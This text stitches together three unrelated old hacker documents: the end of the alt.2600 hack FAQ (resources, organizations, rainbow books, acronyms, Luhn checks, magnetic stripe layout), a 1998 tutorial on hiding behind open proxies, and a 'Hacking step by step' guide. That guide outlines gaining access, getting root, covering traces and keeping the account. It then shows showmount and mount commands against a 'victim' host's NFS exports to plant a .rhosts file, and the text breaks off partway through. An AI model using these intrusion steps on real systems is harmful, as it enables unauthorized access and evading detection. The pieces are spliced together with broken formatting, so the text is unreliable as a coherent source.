Subscriptions: $39/yr (US) $64/yr (Canada/Mexico) $79/yr (Overseas)
Nuts & Volts
~~~~~~~~~~~~
T& L Publications
430 Princeland Court
Corona, CA 91719
(800)783-4624 (Voice) (Subscription Only Order Line)
(909)371-8497 (Voice)
(909)371-3052 (Fax)
CIS: 74262,3664
Cybertek: The Cyberpunk Technical Journal
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
P.O. Box 64
Brewster, NY 10509
Frequency: Bimonthly
Domestic Subscription Rate: $15/year (6 issues)
PrivateLine
~~~~~~~~~~~
5150 Fair Oaks Blvd. #101-348
Carmichael, CA 95608 USA
E-Mail: privateline@delphi.com
Subscriptions: $24 a year for six issues
Text of back issues are at the etext archive at Michigan. Gopher over
or ftp to: etext.archive.umich.edu/pub/Zines/PrivateLine
13. What are some e-zines of interest to hackers?
CoTNo: Communications of The New Order
ftp.etext.org /pub/Zines/CoTNo
Empire Times
ftp.etext.org /pub/Zines/Emptimes
FEH
ftp.fc.net
The Infinity Concept
infonexus.com
/pub/defcon/FEH
/pub/Philes/Zines/TheInfinityConcept
Phrack
ftp.fc.net
/pub/phrack
14. What are some organizations of interest to hackers?
Computer Professionals for Social Responsibility (CPSR)
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
CPSR empowers computer professionals and computer users to advocate for
the responsible use of information technology and empowers all who use
computer technology to participate in the public debate.
As technical
experts, CPSR members provide the public and policy makers with
realistic assessments of the power, promise, and limitations of computer
technology. As an organization of concerned citizens, CPSR directs
public attention to critical choices concerning the applications of
computing and how those choices affect society.
By matching unimpeachable technical information with policy development
savvy, CPSR uses minimum dollars to have maximum impact and encourages
broad public participation in the shaping of technology policy.
Every project we undertake is based on five principles:
*
We foster and support public discussion of and public responsibility
for decisions involving the use of computers in systems critical to
society.
*
We work to dispel popular myths about the infallibility of
technological systems.
*
We challenge the assumption that technology alone can solve political
and social problems.
*
We critically examine social and technical issues within the computer
profession, nationally and internationally.
*
We encourage the use of computer technology to improve the quality of
life.
CPSR Membership Categories
75 REGULAR MEMBER
50 Basic member
200 Supporting member
500 Sponsoring member
1000 Lifetime member
20 Student/low income member
50 Foreign subscriber
50 Library/institutional subscriber
CPSR National Office
P.O. Box 717
Palo Alto, CA 94301
415-322-3778
415-322-3798 (FAX)
E-mail: cpsr@csli.stanford.edu
Electronic Frontier Foundation (EFF)
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
The Electronic Frontier Foundation (EFF) is dedicated to the pursuit
of policies and activities that will advance freedom and openness in
computer-based communications. It is a member-supported, nonprofit
group that grew from the conviction that a new public interest
organization was needed in the information age; that this organization
would enhance and protect the democratic potential of new computer
communications technology. From the beginning, the EFF determined to
become an organization that would combine technical, legal, and public
policy expertise, and would apply these skills to the myriad issues
and concerns that arise whenever a new communications medium is born.
Memberships are $20.00 per year for students, $40.00 per year for
regular members, and $100.00 per year for organizations.
The Electronic Frontier Foundation, Inc.
1001 G Street, NW
Suite 950 East
Washington, D.C. 20001
(202)544 9237
(202)547 5481 FAX
Internet: eff@eff.org
Free Software Foundation (FSF) and GNU
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
The Free Software Foundation is dedicated to eliminating restrictions
on people's right to use, copy, modify, and redistribute computer
programs. We promote the development and use of free software in all
areas using computers. Specifically, we are putting together a
complete, integrated software system named "GNU" ("GNU's Not Unix",
pronounced "guh-new") that will be upwardly compatible with Unix.
Most parts of this system are already being used and distributed.
The word "free" in our name refers to freedom, not price. You may or
may not pay money to get GNU software, but regardless you have two
specific freedoms once you get it: first, the freedom to copy a
program and give it away to your friends and co-workers; and second,
the freedom to change a program as you wish, by having full access to
source code. You can study the source and learn how such programs are
written. You may then be able to port it, improve it, and share your
changes with others. If you redistribute GNU software you may charge
a distribution fee or give it away, so long as you include the source
code and the GPL (GNU General Public License).
Free Software Foundation, Inc.
Telephone: +1-617-876-3296
673 Massachusetts Avenue
Fax: +1-617-492-9057
Cambridge, MA 02139-3309 USA
Fax (in Japan): 0031-13-2473 (KDD)
Electronic mail: gnu@prep.ai.mit.edu
0066-3382-0158 (IDC)
GNU is to be a complete integrated computational environment:
everything you need to work with a computer, either as a programmer or
as a person in an office or home. The core is an operating system,
which consists of a central program called a kernel that runs the
other programs on the computer, and a large number of ancillary
programs for handling files, etc. The Free Software Foundation is
developing an advanced kernel called the Hurd.
A complete system has tools for programmers, such as compilers and
debuggers. It also has editors, sketchpads, calendars, calculators,
spreadsheets, databases, electronic mail readers, and Internet
navigators. The FSF already distributes most of the programs used in
an operating system, all the tools regularly used by programmers, and
much more.
The League for Programming Freedom (LPF)
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
The League for Programming Freedom is an organization of people who
oppose the attempt to monopolize common user interfaces through "look
and feel" copyright lawsuits.
Some of us are programmers, who worry
that such monopolies will obstruct our work. Some of us are users,
who want new computer systems to be compatible with the interfaces we
know.
Some are founders of hardware or software companies, such as
Richard P. Gabriel. Some of us are professors or researchers,
including John McCarthy, Marvin Minsky, Guy L. Steele, Jr., Robert S.
Boyer and Patrick Winston.
"Look and feel" lawsuits aim to create a new class of governmentenforced monopolies broader in scope than ever before. Such a system
of user-interface copyright would impose gratuitous incompatibility,
reduce competition, and stifle innovation.
We in the League hope to prevent these problems by preventing
user-interface copyright.
The League is NOT opposed to copyright law
as it was understood until 1986 -- copyright on particular programs.
Our aim is to stop changes in the copyright system which would take
away programmers' traditional freedom to write new programs compatible
with existing programs and practices.
Annual dues for individual members are $42 for employed professionals,
$10.50 for students, and $21 for others.
We appreciate activists, but
members who cannot contribute their time are also welcome.
To contact the League, phone (617) 243-4091, send Internet mail to the
address league@prep.ai.mit.edu, or write to:
League for Programming Freedom
1 Kendall Square #143
P.O. Box 9171
Cambridge, MA 02139 USA
SotMesc
~~~~~~~
Founded in 1989, SotMesc is dedicated to preserving the integrity and
cohesion of the computing society.
By promoting computer education,
liberties and efficiency, we believe we can secure freedoms for all
computer users while retaining privacy.
SotMesc maintains the CSP Internet mailing list, the SotMesc
Scholarship Fund, and the SotMesc Newsletter.
The SotMESC is financed partly by membership fees, and donations, but
mostly by selling hacking, cracking, phreaking, electronics, internet,
and virus information and programs on disk and bound paper media.
SotMesc memberships are $20 to students and $40 to regular members.
SotMESC
P.O. Box 573
Long Beach, MS
39560
Computer Emergency Response Team (CERT
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
CERT is the Computer Emergency Response Team that was formed by the
Defense Advanced Research Projects Agency (DARPA) in November 1988 in
response to the needs exhibited during the Internet worm incident.
The CERT charter is to work with the Internet community to facilitate
its response to computer security events involving Internet hosts, to
take proactive steps to raise the community's awareness of computer
security issues, and to conduct research targeted at improving the
security of existing systems.
CERT products and services include 24-hour technical assistance for
responding to computer security incidents, product vulnerability
assistance, technical documents, and seminars. In addition, the team
maintains a number of mailing lists (including one for CERT
advisories) and provides an anonymous FTP server:
cert.org
(192.88.209.5), where security-related documents, past CERT
advisories, and tools are archived.
CERT contact information:
U.S. mail address
CERT Coordination Center
Software Engineering Institute
Carnegie Mellon University
Pittsburgh, PA 15213-3890
U.S.A.
Internet E-mail address
cert@cert.org
Telephone number
(412)268-7090 (24-hour hotline)
CERT Coordination Center personnel answer
7:30 a.m.- 6:00 p.m. EST(GMT-5)/EDT(GMT-4), on call for
emergencies during other hours.
FAX number
(412)268-6989
15. What are some radio programs of interest to hackers?
Off The Hook
New York
Full Disclosure Live Short Wave
99.5 FM
Tue
8pm EST
WWCR 5065 khz
Sun
8pm EST
Full Disclosure Live Oil City, PA
WOYL AM-1340
Sun
8pm EST
Full Disclosure Live Satellite
Telstar 302 (T2), Ch 21, 5.8 Sun
8pm EST
16. What are other FAQ's of interest to hackers?
Frequently Asked Questions "Hacking Novell Netware"
Author: Simple Nomad <sn@spyder.org>
ftp: jumper.mcc.ac.uk
/pub/security/netware/faq.zip
ftp: ftp.fastlane.net
/pub/nomad/nw/faq.zip
ftp: ftp.best.com
/pub/almcepud/hacks/faq.zip
http://resudox.net/bio/mainpage.html
http://www.hookup.net/~apayne/nwhack.html
The PGP Attack FAQ
Author: Route [daemon9@netcom.com / route@infonexus.com]
ftp: infonexus.com /pub/Philes/Cryptography/PGPattackFAQ.txt.gz
Mac Hack FAQ: Defeating Security
Author: AX1P (an149689@anon.penet.fi)
Frequently Asked Questions About Red Boxing
Author: Mr. Sandman (an132432@anon.penet.fi)
VMS FAQ (Frequently Ask Questions)
Author: The Beaver (beaver@upperdck.blkbox.com)
Anonymous FTP FAQ
Author: Christopher Klaus <cklaus@iss.net> of Internet Security Systems, Inc.
ftp: ftp.iss.net
/pub/faq/anonftp
Compromise FAQ: What if your Machines are Compromised by an Intruder
Author: Christopher Klaus <cklaus@iss.net> of Internet Security Systems, Inc.
ftp: ftp.iss.net
Security Patches FAQ
/pub/faq/compromise
Author: Christopher Klaus <cklaus@iss.net> of Internet Security Systems, Inc.
ftp: ftp.iss.net
/pub/faq/patch
Sniffer FAQ
Author: Christopher Klaus <cklaus@iss.net> of Internet Security Systems, Inc.
ftp: ftp.iss.net
/pub/faq/sniff
Vendor Security Contacts: Reporting Vulnerabilities and Obtaining New Patches
Author: Christopher Klaus <cklaus@iss.net> of Internet Security Systems, Inc.
ftp: ftp.iss.net
/pub/faq/vendor
Cryptography FAQ
Author: The Crypt Cabal
ftp: rtfm.mit.edu /pub/usenet-by-group/sci.crypt/
Firewalls FAQ
Author: Marcus J. Ranum (mjr@ss1.lightspeed.net)
ftp: rtfm.mit.edu /pub/usenet-by-group/comp.security.misc/
Buying a Used Scanner Radio
Author: parnass@att.com (Bob Parnass, AJ9S)
ftp: rtfm.mit.edu /pub/usenet-by-group/rec.radio.scanner/
How to Find Scanner Frequencies
Author: parnass@att.com (Bob Parnass, AJ9S)
ftp: rtfm.mit.edu /pub/usenet-by-group/rec.radio.scanner/
Introduction to Scanning
Author: parnass@att.com (Bob Parnass, AJ9S)
ftp: rtfm.mit.edu /pub/usenet-by-group/rec.radio.scanner/
Low Power Broadcasting FAQ
Author: Rick Harrison.
ftp: rtfm.mit.edu /pub/usenet-by-group/alt.radio.pirate/
RSA Cryptography Today FAQ
Author: Paul Fahn
ftp: rtfm.mit.edu /pub/usenet-by-group/sci.crypt/
VIRUS-L comp.virus Frequently Asked Questions (FAQ)
Author: Kenneth R. van Wyk <krvw@cert.org>
ftp: rtfm.mit.edu /pub/usenet-by-group/comp.virus/
Where to get the latest PGP (Pretty Good Privacy) FAQ
Author: mpj@csn.net (Michael Johnson)
ftp: rtfm.mit.edu /pub/usenet-by-group/alt.security.pgp/
alt.locksmithing answers to Frequently Asked Questions (FAQ)
Author: spike@indra.com (Joe Ilacqua)
ftp: rtfm.mit.edu /pub/usenet-by-group/alt.locksmithing/
comp.os.netware.security FAQ
Author: Fauzan Mirza <F.U.Mirza@sheffield.ac.uk>
ftp: rtfm.mit.edu /pub/usenet-by-group/comp.os.netware.security/
rec.pyrotechnics FAQ
Author: zoz@cs.adelaide.edu.au (Hans Josef Wagemueller)
ftp: rtfm.mit.edu /pub/usenet-by-group/rec.pyrotechnics/
17. Where can I purchase a magnetic stripe encoder/decoder?
CPU Advance
PO Box 2434
Harwood Station
Littleton, MA 01460
(508)624-4819 (Fax)
Omron Electronics, Inc.
One East Commerce Drive
Schaumburg, IL
60173
(800)556-6766 (Voice)
(708)843-7787 (Fax)
Security Photo Corporation
1051 Commonwealth Avenue
Boston, MA 02215
(800)533-1162 (Voice)
(617)783-3200 (Voice)
(617)783-1966 (Voice)
Timeline Inc,
23605 Telo Avenue
Torrence, CA 90505
(800)872-8878 (Voice)
(800)223-9977 (Voice)
Alltronics
2300 Zanker Road
San Jose CA 95131
(408) 943-9774 Voice
(408) 943-9776 Fax
(408) 943-0622 BBS
Part Number: 92U067
Atalla Corp
San Jose, CA
(408) 435-8850
18. What are the rainbow books and how can I get them?
Orange Book
DoD 5200.28-STD
Department of Defense Trusted Computer System Evaluation Criteria
Green Book
CSC-STD-002-85
Department of Defense Password Management Guideline
Yellow Book
CSC-STD-003-85
Computer Security Requirements -- Guidance for Applying the Department
of Defense Trusted Computer System Evaluation Criteria in Specific
Environments
Yellow Book
CSC-STD-004-85
Technical Rationale Behind CSC-STD-003-85: Computer Security
Requirements. Guidance for Applying the Department of Defense Trusted
Computer System Evaluation Criteria in Specific Environments.
Tan Book
NCSC-TG-001
A Guide to Understanding Audit in Trusted Systems
Bright Blue Book
NCSC-TG-002
Trusted Product Evaluation - A Guide for Vendors
Neon Orange Book
NCSC-TG-003
A Guide to Understanding Discretionary Access Control in Trusted
Systems
Teal Green Book
NCSC-TG-004
Glossary of Computer Security Terms
Red Book
NCSC-TG-005
Trusted Network Interpretation of the Trusted Computer System
Evaluation Criteria
Orange Book
NCSC-TG-006
A Guide to Understanding Configuration Management in Trusted Systems
Burgundy Book
NCSC-TG-007
A Guide to Understanding Design Documentation in Trusted Systems
Dark Lavender Book
NCSC-TG-008
A Guide to Understanding Trusted Distribution in Trusted Systems
Venice Blue Book
NCSC-TG-009
Computer Security Subsystem Interpretation of the Trusted Computer
System Evaluation Criteria
Aqua Book
NCSC-TG-010
A Guide to Understanding Security Modeling in Trusted Systems
Dark Red Book
NCSC-TG-011
Trusted Network Interpretation Environments Guideline -- Guidance for
Applying the Trusted Network Interpretation
Pink Book
NCSC-TG-013
Rating Maintenance Phase -- Program Document
Purple Book
NCSC-TG-014
Guidelines for Formal Verification Systems
Brown Book
NCSC-TG-015
A Guide to Understanding Trusted Facility Management
Yellow-Green Book
NCSC-TG-016
Guidelines for Writing Trusted Facility Manuals
Light Blue
NCSC-TG-017
A Guide to Understanding Identification and Authentication in Trusted
Systems
Light Blue Book
NCSC-TG-018
A Guide to Understanding Object Reuse in Trusted Systems
Blue Book
NCSC-TG-019
Trusted Product Evaluation Questionnaire
Gray Book
NCSC-TG-020A
Trusted Unix Working Group (TRUSIX) Rationale for Selecting
Access Control List Features for the Unix System
Lavender Book
NCSC-TG-021
Trusted Data Base Management System Interpretation of the Trusted
Computer System Evaluation Criteria
Yellow Book
NCSC-TG-022
A Guide to Understanding Trusted Recovery in Trusted Systems
Bright Orange Book
NCSC-TG-023
A Guide to Understandng Security Testing and Test Documentation in
Trusted Systems
Purple Book
NCSC-TG-024 (Volume 1/4)
A Guide to Procurement of Trusted Systems: An Introduction to
Procurement Initiators on Computer Security Requirements
Purple Book
NCSC-TG-024 (Volume 2/4)
A Guide to Procurement of Trusted Systems: Language for RFP
Specifications and Statements of Work - An Aid to Procurement
Initiators
Purple Book
NCSC-TG-024 (Volume 3/4)
A Guide to Procurement of Trusted Systems: Computer Security Contract
Data Requirements List and Data Item Description Tutorial
+Purple Book
+NCSC-TG-024
(Volume 4/4)
+A Guide to Procurement of Trusted Systems: How to Evaluate a Bidder's
+Proposal Document - An Aid to Procurement Initiators and Contractors
Green Book
NCSC-TG-025
A Guide to Understanding Data Remanence in Automated Information
Systems
Hot Peach Book
NCSC-TG-026
A Guide to Writing the Security Features User's Guide for Trusted Systems
Turquiose Book
NCSC-TG-027
A Guide to Understanding Information System Security Officer
Responsibilities for Automated Information Systems
Violet Book
NCSC-TG-028
Assessing Controlled Access Protection
Blue Book
NCSC-TG-029
Introduction to Certification and Accreditation
Light Pink Book
NCSC-TG-030
A Guide to Understanding Covert Channel Analysis of Trusted Systems
C1 Technical Report-001
Computer Viruses: Prevention, Detection, and Treatment
*C Technical Report 79-91
*Integrity in Automated Information Systems
*C Technical Report 39-92
*The Design and Evaluation of INFOSEC systems: The Computer Security
*Contributions to the Composition Discussion
NTISSAM COMPUSEC/1-87
Advisory Memorandum on Office Automation Security Guideline
-You can get your own free copy of any or all of the books by writing
or calling:
INFOSEC Awareness Division
ATTN: X711/IAOC
Fort George G. Meade, MD 20755-6000
Barbara Keller
(410) 766-8729
If you ask to be put on the mailing list, you'll get a copy of each new
book as it comes out (typically a couple a year).
[* == I have not personally seen this book]
[+ == I have not personally seen this book, and I believe it may not]
[
be available]
Section E: 2600
~~~~~~~~~~~~~~~
01. What is alt.2600?
Alt.2600 is a Usenet newsgroup for discussion of material relating to
2600 Magazine, the hacker quarterly.
It is NOT for the Atari 2600
game machine. Len@netsys.com created the group on Emmanuel
Goldstein's recommendation.
Emmanuel is the editor/publisher of 2600
Magazine. Following the barrage of postings about the Atari machine to
alt.2600, an alt.atari.2600 was created to divert all of the atari
traffic from alt.2600. Atari 2600 people are advised to hie over to
rec.games.video.classic.
02. What does "2600" mean?
2600Hz was a tone that was used by early phone phreaks (or
phreakers) in the 80's, and some currently. If the tone was sent down the
line at the proper time, one could get away with all sorts of fun stuff.
A note from Emmanuel Goldstein:
"The Atari 2600 has NOTHING to do with blue boxes or telephones
or the 2600 hertz tone.
The 2600 hertz tone was simply the first
step towards exploring the network. If you were successful at
getting a toll call to drop, then billing would stop at that
point but there would be billing for the number already dialed
up until the point of seizure. 800 numbers and long distance
information were both free in the past and records of who called
what were either non-existent or very obscure with regards to
these numbers.
This, naturally, made them more popular than
numbers that showed up on a bill, even if it was only for
a minute. Today, many 800 numbers go overseas, which provides
a quick and free way into another country's phone system
which may be more open for exploration."
03. Are there on-line versions of 2600 available?
No.
04. I can't find 2600 at any bookstores.
What can I do?
Subscribe. Or, let 2600 know via the subscription address that you
think 2600 should be in the bookstore.
Be sure to include the
bookstores name and address.
05. Why does 2600 cost more to subscribe to than to buy at a newsstand?
A note from Emmanuel Goldstein:
We've been selling 2600 at the same newsstand price ($4) since 1988
and we hope to keep it at that price for as long as we can get away
with it. At the same time, $21 is about the right price to cover
subscriber costs, including postage and record keeping, etc. People
who subscribe don't have to worry about finding an issue someplace,
they tend to get issues several weeks before the newsstands get
them, and they can take out free ads in the 2600 Marketplace.
This is not uncommon in the publishing industry. The NY Times, for
example, costs $156.50 at the newsstands, and $234.75 delivered to your
door.
Section F: Miscellaneous
~~~~~~~~~~~~~~~~~~~~~~~~
01. What does XXX stand for?
TLA
Three Letter Acronym
ACL
Access Control List
PIN
Personal Identification Number
TCB
Trusted Computing Base
ALRU
Automatic Line Record Update
AN
Associated Number
ARSB
Automated Repair Service Bureau
ATH
Abbreviated Trouble History
BOC
Bell Operating Company
BOR
Basic Output Report
BOSS
Business Office Servicing System
CA
Cable
COE
Central Office Equipment
COSMOS Computer System for Main Frame Operations
CMC
Construction Maintenance Center
CNID
Calling Number IDentification
CO
Central Office
COCOT
Customer Owned Coin Operated Telephone
CRSAB
Centralized Repair Service Answering Bureau
DID
Direct Inbound Dialing
DDD
Direct Distance Dialing
ECC
Enter Cable Change
LD
Long Distance
LMOS
Loop Maintenance Operations System
MLT
Mechanized Loop Testing
NPA
Numbering Plan Area
PBX
Private Branch Exchange
POTS
Plain Old Telephone Service
RBOC
Regional Bell Operating Company
RSB
Repair Service Bureau
SS
Special Service
TAS
Telephone Answering Service
TH
Trouble History
TREAT
Trouble Report Evaluation and Analysis Tool
LOD
Legion of Doom
HFC
Hell Fire Club
TNO
The New Order
ACiD
Ansi Creators in Demand
CCi
Cybercrime International
FLT
Fairlight
iCE
Insane Creators Enterprise
iNC
International Network of Crackers
NTA
The Nocturnal Trading Alliance
PDX
Paradox
PE
Public Enemy
PSY
Psychose
QTX
Quartex
RZR
Razor (1911)
S!P
Supr!se Productions
TDT
The Dream Team
THG
The Humble Guys
THP
The Hill People
TRSI
Tristar Red Sector Inc.
UUDW
Union of United Death Workers
02. How do I determine if I have a valid credit card number?
Credit cards use the Luhn Check Digit Algorithm. The main purpose of
this algorithm is to catch data entry errors, but it does double duty
here as a weak security tool.
For a card with an even number of digits, double every odd numbered
digit and subtract 9 if the product is greater than 9. Add up all the
even digits as well as the doubled-odd digits, and the result must be
a multiple of 10 or it's not a valid card. If the card has an odd
number of digits, perform the same addition doubling the even numbered
digits instead.
03. What is the layout of data on magnetic stripe cards?
A standard card may have any of three tracks, or a combination of these
tracks.
Track 1 was the first track standardized. It was developed by the
International Air Transportation Association (IATA) and is still
reserved for their use.
It is 210bpi with room for 79 characters. It
includes the primary account number (up to 18 digits) and the name (up
to 26 alphanumeric characters).
Track 2 was developed by the American Bankers Association (ABA) for
on-line financial transactions. It is 75bpi with room for 40 numeric
characters. It includes the account number (up to 19 digits).
Track 3 is also used for financial transactions. The difference is its
read/write ability. It is 210bpi with room for 107 numeric digits.
includes an enciphered PIN, country code, currency units, amount
authorized, subsidiary account information and other restrictions.
It
For more information, read the ANSI/ISO 7811/1-5 standard.
This
document is available from the American Bankers Association.
04. What are the ethics of hacking?
An excerpt from: Hackers: Heroes of the Computer Revolution
by Steven Levy
Access to computers -- and anything which might teach you
something about the way the world works -- should be unlimited
and total. Always yield to the Hands-On imperative.
All information should be free.
Mistrust Authority.
Promote Decentralization.
Hackers should be judged by their hacking, not bogus criteria
such as degrees, age, race, or position.
You can create art and beauty on a computer.
Computers can change your life for the better.
05. Where can I get a copy of the alt.2600/#hack FAQ?
Get it on FTP at:
rahul.net
/pub/lps/sysadmin/
rtfm.mit.edu
/pub/usenet-by-group/alt.2600
clark.net
/pub/jcase/
Get it on the World Wide Web at:
http://www.engin.umich.edu/~jgotts/underground/hack-faq.html
Get it on my BBS:
Hacker's Haven (303)343-4053
EOT
[----Stay anonymous on the web------]
..By MAx member of :MPD:
(c) 1998 MAx [4d5044]
Note..This tutorial will teach a average day user how to keep all his
Esentual info limited so attacks from Hackers cant be made
SHouth outs: Myth leader of MPD u rule dude,All members of MPD, and
everyone else who i should shout out too u know who u are.
The topics..
1.What are packets.
2.Getting a http proxy.
3.How http proxy work.
4.How to secrure http packets.
5.How to edit what o's and mozilla info send.
6.Getting a socket proxy.
7.How socket proxy work.
8.Cookies.
9.Final note.
----------------------------------------------------------------------1.What are packets.
Packets are very simple on the net There are millions of user's now for
secrurity and other reasons there must be ways of establishing difference
between user's Thus is done by packets, Packets are used when ever u connect
to a remote server/system Its identify's who is connecting.
An example of a http packet.( [Connect from MAx.mpd.com]
[206.14.13.32] (Mozilla/4.05 [en] (X11;I;Linux 2.0.34 i586) on December
2, 1998 at 14:34:45 )
Now ill tell u what it is saying if u dont know.
*Note*(Http packets is the way u are sending info through the web
browser whenever u connect to a server/mechine/site )
[connected from MAx.mpd.com]-This is my host
[206.14.13.32]- is my ip
(Mozilla/4.05)- is the version of mozilla im using
(X11;I;Linux 2.0.32 i586)- Is The O's(operating system) And version of
the o's im running
[On december 2, 1998 at 14:34:45] - is day/year/time
Now u know how it works this is one way Hackers get all the info they
need on your computer to hack it.
Now we dont want this anymore THus anonymous proxies where invented to
give keep user's on the net secrure.Using anonymous proxies isnt
100% secrure as the hacker can still do means on getting your real
ip/host/os ill talk about that later but it makes it very hard for a hacker
to get your ip/host once behind a proxy.
Now http isnt the only means of packets there are also socket packets which
ill talk about later.
2.How http proxy work.
A http proxy works like server it is actuelly and what it does is when
setup in your browser when ever u want to go to sites.It will connect
to there proxy server first then the proxy server conncts to the site
u want to go to THus leaving no evendence of u on the site just the
proxy server.(Dont worry once u setup a proxy dont think u always have
to type in the proxy in first then go to there and type the site u want
too go to. :)It dont work like that once u have entered the proxy settings
in ya browser it will auto do the proxy for u all u have to do is surf the
net.(Setting up a http proxy descussed later)
3. Getting a http proxy
Http proxies are very easyly found on the net as there are many
commited Http proxy server's around that are free.
Ill give a list of some http proxies for your all sorry if your
country proxy isn't here just search on the net for (Http proxy)
and ull find one.
***Austria***
Port
cache02.netway.at
:80
mail.ppl.co.at
:8080
speth08.wu-wien.ac.at
:8080
pong.ping.at
:8080
***Australia***
proxy.gwbbs.net.au
:80
chrome.one.net.au
:8080
proxy.newave.net.au
:8080
ws.edi.com.au
:80
mimas.scu.edu.au :80
proxy.omcs.com.au
:8080
jethro.meriden.pas.com.au:8080
albany.jrc.net.au
:80
basil.acr.net.au
:8080
***Belgium***
cache-mar.belbone.be
:80
***Bulgaria***
conan.gocis.bg
:8080
***Brazil***
200.250.14.5)ct-nt-02.cybertelecom.com.br :8080
sanan.com.br
***Canada***
:8080
proxy.collegemv.qc.ca
:8080
srvprx.cspaysbleuets.qc.ca :80
valliere.csvalliere.qc.ca :80
keeper.albertc.on.ca
:8080
cproxy1.justice.gc.ca
:80
proxy.cslouis-hemon.qc.ca :8080
gateway.kwantlen.bc.ca
:80
***Switzerland***
cache1.worldcom.ch
:8080
cache2.worldcom.ch
:8080
cache3.worldcom.ch
:8080
web-cache-2.cern.ch
:80
proxy.span.ch
:8080
gip-lausanne-nc.globalip.ch :80
gip-lausanne-cf2.globalip.ch :8080
gip-lausanne-cf1.globalip.ch :8080
proxy2.iso.ch
:8080
proxy.iprolink.ch
:80
***China***
proxy.szptt.net.cn
:8080
***United States***
hpux.mesd.k12.or.us
:8080
gatekeeper.ci.slc.ut.us
:8080
episd.elpaso.k12.tx.us
:8080
svc.logan.k12.ut.us
:8001
proxy.eup.k12.mi.us
:8080
svc.nues.k12.ut.us
:8001
proxy.eup.k12.mi.us
:8080
(207.78.252.100)oakweb.oak-web.washington-ch.oh.us :80
homnibus.nvc.cc.ca.us
:80
et.mohave.cc.az.us
:80
(ok id say i gave out enough if ya local country not there go search
the net and if cant find use another country one that is close to u)
4.How to secrure Http packets
Like i said before this is a normal http packet
( [Connect from MAx.mpd.com]
[206.14.13.32] (Mozilla/4.05 [en] (X11;I;Linux 2.0.34 i586) on December
2, 1998 at 14:34:45 )
Now to Make your ip and host anonymous to web browsing we are going to
use http proxy with ya browser.THis is done by going to ya options
and finding the info on proxy settings in thus put in all
avalable places in proxy setting etc.ftp,http,secruity,
Except leave sockets part blank THis isnt a socket proxy its a http
Now after setting up a proxy in the proxy settings and putting in the
port too.Our new packets will look like this.
( [Connect from The_proxies_host]
[The_proxies_ip] (Mozilla/4.05 [en] (X11;I;Linux 2.0.34 i586) on December
2, 1998 at 14:34:45 )
Now u might be thinking cool :) No longer have everdence of me on there
server but dam they know my o's and version of mozilla later on ill
descuse how to change that.U might also be thinking WOW now i can surf
100% secure on the net.U are not totally right.IF a hacker had a real
grunge on u.He has now the proxy u are using there ip/host
now if he wants to get your info that badly he would have to hack
the proxy server comapare the log time of the time u loged to the hacker's
site too the logs of your connection to the proxy server.THus is a real
big job and if pick a good proxy server they will be very secure from
attack's So your pritty much safe.
5.How to edit the o's and mozilla info send.
Ok if your using Ie this is how u would do it.
To see Original Settings
GOTO
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet
Settings
User Agent = Mozilla/4.0 (compatible; MSIE 4.01; Windows 95; (Your Orginial Settings))
(Skip this Part here)
GOTO HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion
ProductName = Microsoft Windows 95
Version = Windows 95
GOTO
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet
Settings\User Agent\Post Platform
(Your Orignial Settings Here) = IEAK(Your Orignial Settings Here)
Example
GOTO
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet
Settings\User Agent\Post Platform
Myth [Unix-Base] = IEAKMyth [Unix-Base]
*Note (this info on how to change the mozilla and version shown was
given to me from Myth i didn't make it.)
6.Getting a socket proxy.
Ok now socket proxies work like Http proxies the only diff is
socket proxies are used with programs like (icq,mirc) And the packets
are send through sockets not http.Getting a socket proxy is alot harder
because Socket proxy server's have to be dedicated to a sertain program
so its very limiting to the amount of user's he will get.
Http is always used its using the web everyone uses it so http proxies
are always going to be in need.
TO find a socket proxy u can search the net typing in (Socket proxy)
or try for sertain program's names like (Icq proxy).
Hopefully u will get one
socket proxies are useful as alot of attacks on user's are done
by kids with nukes,spring,ping,smurf,etc etc And thus will anoy a user
in mirc or from icq both these programs give any user possability to
get a user's ip/host.
thats why if u use these u will want a socket proxy.
Alot of people go why dont u just use ident or jizz or something
for mirc and icq.Well the reason u don't as there are expolits out
there to crash spoofed hosts/ip for programs like jizz and ident
a proxy is more stable way and more prevention then a spoofer program.
User's guide
__________________________
Well, howdi folks... I guess you are all wondering who's this guy (me)
that's trying to show you a bit of everything... ?
Well, I ain't telling you anything of that...
Copyright, and other stuff like this (below).
Copyright and stuff...
______________________
If you feel offended by this subject (hacking) or you think that you could
do better, don't read the below information...
This file is for educational purposes ONLY...;)
I ain't responsible for any damages you made after reading this...(I'm very
serious...)
So this can be copied, but not modified (send me the changes, and if they
are good, I'll include them ).
Don't read it, 'cuz it might be illegal.
I warned you...
If you would like to continue, press <PgDown>.
Intro: Hacking step by step.
________________________________________________________________________________
_
Well, this ain't exactely for begginers, but it'll have to do.
What all hackers has to know is that there are 4 steps in hacking...
Step 1: Getting access to site.
Step 2: Hacking r00t.
Step 3: Covering your traces.
Step 4: Keeping that account.
Ok. In the next pages we'll see exactely what I ment.
Step 1: Getting access.
_______
Well folks, there are several methods to get access to a site.
I'll try to explain the most used ones.
The first thing I do is see if the system has an export list:
mysite:~>/usr/sbin/showmount -e victim.site.com
RPC: Program not registered.
If it gives a message like this one, then it's time to search another way
in.
What I was trying to do was to exploit an old security problem by most
SUN OS's that could allow an remote attacker to add a .rhosts to a users
home directory... (That was possible if the site had mounted their home
directory.
Let's see what happens...
mysite:~>/usr/sbin/showmount -e victim1.site.com
/usr victim2.site.com
/home (everyone)
/cdrom (everyone)
mysite:~>mkdir /tmp/mount
mysite:~>/bin/mount -nt nfs victim1.site.com:/home /tmp/mount/
mysite:~>ls -sal /tmp/mount
total 9
1 drwxrwxr-x
8 root
root
1024 Jul 4 20:34 ./
1 drwxr-xr-x 19 root
root
1024 Oct 8 13:42 ../
1 drwxr-xr-x
3 at1
users
1024 Jun 22 19:18 at1/
1 dr-xr-xr-x
8 ftp
wheel
